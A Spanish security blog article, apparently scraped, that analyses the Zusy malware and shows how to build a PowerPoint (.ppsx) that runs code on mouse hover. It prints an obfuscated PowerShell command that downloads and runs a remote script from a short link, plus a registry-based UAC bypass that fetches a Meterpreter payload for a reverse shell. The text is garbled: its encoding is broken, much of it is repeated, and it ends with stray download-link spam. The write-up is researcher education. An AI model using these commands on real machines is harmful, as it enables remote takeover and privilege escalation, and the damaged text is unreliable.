Zusy Cómo un PowerPoint entrega tu Windows a un atacante malo
Hace unos d�as se hac�a p�blica la aparici�n de un malware denominado �Zusy�, que se introduce en los equipos utilizando como vector de entrada un archivo en formato Microsoft PowerPoint. Una de las peculiaridades de este malware respecto a otros que se han encontrado en el pasado, es que su ejecuci�n no depende de que el usuario active las macros - muy populares hasta hoy -, sino que utiliza una caracter�stica propia de PowerPoint que permite la ejecuci�n de programas externos. En este art�culo vamos a analizar el m�todo de entrada utilizado por este malware, y las posibles consecuencias que puede tener en el equipo de una v�ctima.
Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:
Cuando el usuario pasa el rat�n por encima del hiperv�nculo, PowerPoint muestra el siguiente mensaje:
�ste es el punto cr�tico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecuci�n de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compa�ero Pablo Gonz�lez.
Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento t�cnico bastante sencillo. �Vamos con ello! En esta secci�n vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentaci�n en PowerPoint maliciosa, con el mismo comportamiento.
Construyendo tu propio Zusy
Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el rat�n por encima del hiperv�nculo nos aparece un cuadro de dialogo que nos indica que se est� intentando ejecutar un programa externo. Si buscamos en la documentaci�n oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentaci�n en PowerPoint, por lo que vamos a a�adir una Powershell con la opci�n de que se lance al pasar el rat�n por encima.
Una vez a�adido, guardamos nuestra presentaci�n como fichero .ppsx y lo probamos. Cuando pasamos el rat�n por encima, podemos ver como aparece el cuadro de dialogo que indic�bamos anteriormente sobre la ejecuci�n de programas externos, si lo habilitamos, se abre una consola Powershell.
Al analizar el c�digo de los ficheros OOXML, que son en formato XML, podemos ver qu� es lo que PowerPoint ha a�adido en el c�digo de la "Slide1" para habilitar la ejecuci�n del programa. Como sab�is, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.
En slide1.xml.rels encontramos la ruta del programa que se est� ejecutando, vamos a comprobar, si adem�s de ejecutar programas, ejecuta tambi�n los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:
Si abrimos la presentaci�n y pasamos el rat�n sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.
Una vez tenemos identificado el m�todo principal con el que el malware ejecuta programas a trav�s de un archivo PowerPoint, vamos a ver, a trav�s de una prueba de concepto, porque esto puede ser peligroso para los usuarios.
Prueba de concepto
Con la t�cnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentaci�n maliciosa en formato PowerPoint:
Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qu� fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutar� una serie de sentencias similares a las siguientes:
Cuando el binario que hace el UAC bypass se ejecute, llamar� a Powershell con los argumentos necesarios para que haga una petici�n al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administraci�n. Tras esto, la m�quina del atacante recibir� una conexi�n reversa desde la de la v�ctima. Veamos todo el proceso resumido y esquematizado:
Como podemos observar, la diferencia entre que tu maquina sea comprometida totalmente y no lo sea, est� en pulsar el bot�n de habilitar en el aviso que te muestra PowerPoint, una aplicaci�n que a priori es bastante confiable. Por eso se debe estar siempre muy atento a la hora de abrir o ejecutar los archivos que nos env�en y leer detenidamente los avisos de seguridad antes de aceptarlos.
Autor: Santiago Hern�ndez Ramos, cybersecurity researcher en ElevenPaths
![]() |
Figura 1: Zusy: C�mo un PowerPoint entrega tu Windows a un atacante malo |
Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:
![]() |
Figura 2: Diapositiva de gancho para capturar el movimiento del rat�n |
Cuando el usuario pasa el rat�n por encima del hiperv�nculo, PowerPoint muestra el siguiente mensaje:
![]() |
Figura 3: Warning de MS PowerPoint por la ejecuci�n de programas externos |
�ste es el punto cr�tico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecuci�n de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compa�ero Pablo Gonz�lez.
Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento t�cnico bastante sencillo. �Vamos con ello! En esta secci�n vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentaci�n en PowerPoint maliciosa, con el mismo comportamiento.
Construyendo tu propio Zusy
Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el rat�n por encima del hiperv�nculo nos aparece un cuadro de dialogo que nos indica que se est� intentando ejecutar un programa externo. Si buscamos en la documentaci�n oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentaci�n en PowerPoint, por lo que vamos a a�adir una Powershell con la opci�n de que se lance al pasar el rat�n por encima.
![]() |
Figura 4: Ejecuci�n de Powershell al mover el rat�n por encima |
Una vez a�adido, guardamos nuestra presentaci�n como fichero .ppsx y lo probamos. Cuando pasamos el rat�n por encima, podemos ver como aparece el cuadro de dialogo que indic�bamos anteriormente sobre la ejecuci�n de programas externos, si lo habilitamos, se abre una consola Powershell.
![]() |
Figura 5: C�digo del hiperv�nculo para ejecutar el programa en slide1.xml |
Al analizar el c�digo de los ficheros OOXML, que son en formato XML, podemos ver qu� es lo que PowerPoint ha a�adido en el c�digo de la "Slide1" para habilitar la ejecuci�n del programa. Como sab�is, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.
![]() |
Figura 6: En slide1.xml.rels est� el target que se va a abrir |
En slide1.xml.rels encontramos la ruta del programa que se est� ejecutando, vamos a comprobar, si adem�s de ejecutar programas, ejecuta tambi�n los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:
![]() |
Figura 7: A�adir par�metros de ejecuci�n al hiperv�nculo manualmente |
Si abrimos la presentaci�n y pasamos el rat�n sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.
![]() |
Figura 8: Ahora se ejecutar�a la calculadora |
Una vez tenemos identificado el m�todo principal con el que el malware ejecuta programas a trav�s de un archivo PowerPoint, vamos a ver, a trav�s de una prueba de concepto, porque esto puede ser peligroso para los usuarios.
Prueba de concepto
Con la t�cnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentaci�n maliciosa en formato PowerPoint:
Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadString(%27https%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27goo.gl%27%2B%5Bchar%5D%200x2F%2B%27r9L7vv%27)"Que es la representaci�n en formato URLEncode de:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadString(https:+[char] 0x2F+[char] 0x2F+dominio+[char] 0x2F+recurso)Este comando lo que hace es ejecutar Powershell, que a su vez hace una petici�n a una direcci�n determinada para descargar un archivo y posteriormente ejecutarlo sin llegar a guardarlo en disco. Como podemos ver en la figura anterior, la URL se forma sustituyendo el car�cter �/� por �[char] 0x2F�. Esta es una forma de �ofuscar� la direcci�n, de tal manera que PowerPoint no tome ninguna medida de seguridad y la procese correctamente. Si se pone la direcci�n URL sin esto, veremos como no es posible ejecutar la petici�n.
Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qu� fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutar� una serie de sentencias similares a las siguientes:
$registryPath = "HKCU:SoftwareClassesexefileshell unascommand"Este c�digo inserta en el registro de Windows un valor determinado, en este caso una nueva petici�n para descargar y ejecutar un archivo desde un servidor remoto. Esto lo hacemos para utilizar la t�cnica de fileless UAC bypass que hemos explicado en art�culos anteriores, para elevar privilegios.
$name = "IsolatedCommand"
$value = "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -C `"IEX (New-Object Net.WebClient).DownloadString(url_meterpreter)`""
New-ItemProperty -Path $registryPath
` -Name $name `
-Value $value `
-PropertyType ExpandString
` -Force | Out-Null
Cuando el binario que hace el UAC bypass se ejecute, llamar� a Powershell con los argumentos necesarios para que haga una petici�n al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administraci�n. Tras esto, la m�quina del atacante recibir� una conexi�n reversa desde la de la v�ctima. Veamos todo el proceso resumido y esquematizado:
![]() |
Figura 9: Esquema del PoC que se realiza |
1. El usuario ejecuta el fichero PowerPoint malicioso.
2. El fichero PowerPoint ejecuta Powershell con una serie de argumentos que realizan una llamada a un servidor para descargar y ejecutar un fichero sin privilegios de administraci�n.
3. El fichero descargado y ejecutado, realiza cambios en el registro de la v�ctima para realizar un UAC bypass, a continuaci�n, ejecuta el binario vulnerable a dicho bypass.
4. Debido a que la rama del registro ha sido envenenada, el binario ejecutado llama a Powershell con una serie de argumentos que realizan otra petici�n al servidor y descargan otro fichero para ejecutarlo, �esta vez como administrador!
5. El fichero ejecutado contiene un payload que realiza una conexi�n reversa a la m�quina del atacante.
6. El atacante tiene acceso completo a la m�quina de la v�ctima con m�ximos privilegios.
Figura 10: PoC de C�mo obtener una sesi�n Meterpreter desde un PowerPoint
Autor: Santiago Hern�ndez Ramos, cybersecurity researcher en ElevenPaths
download file now
alternative link download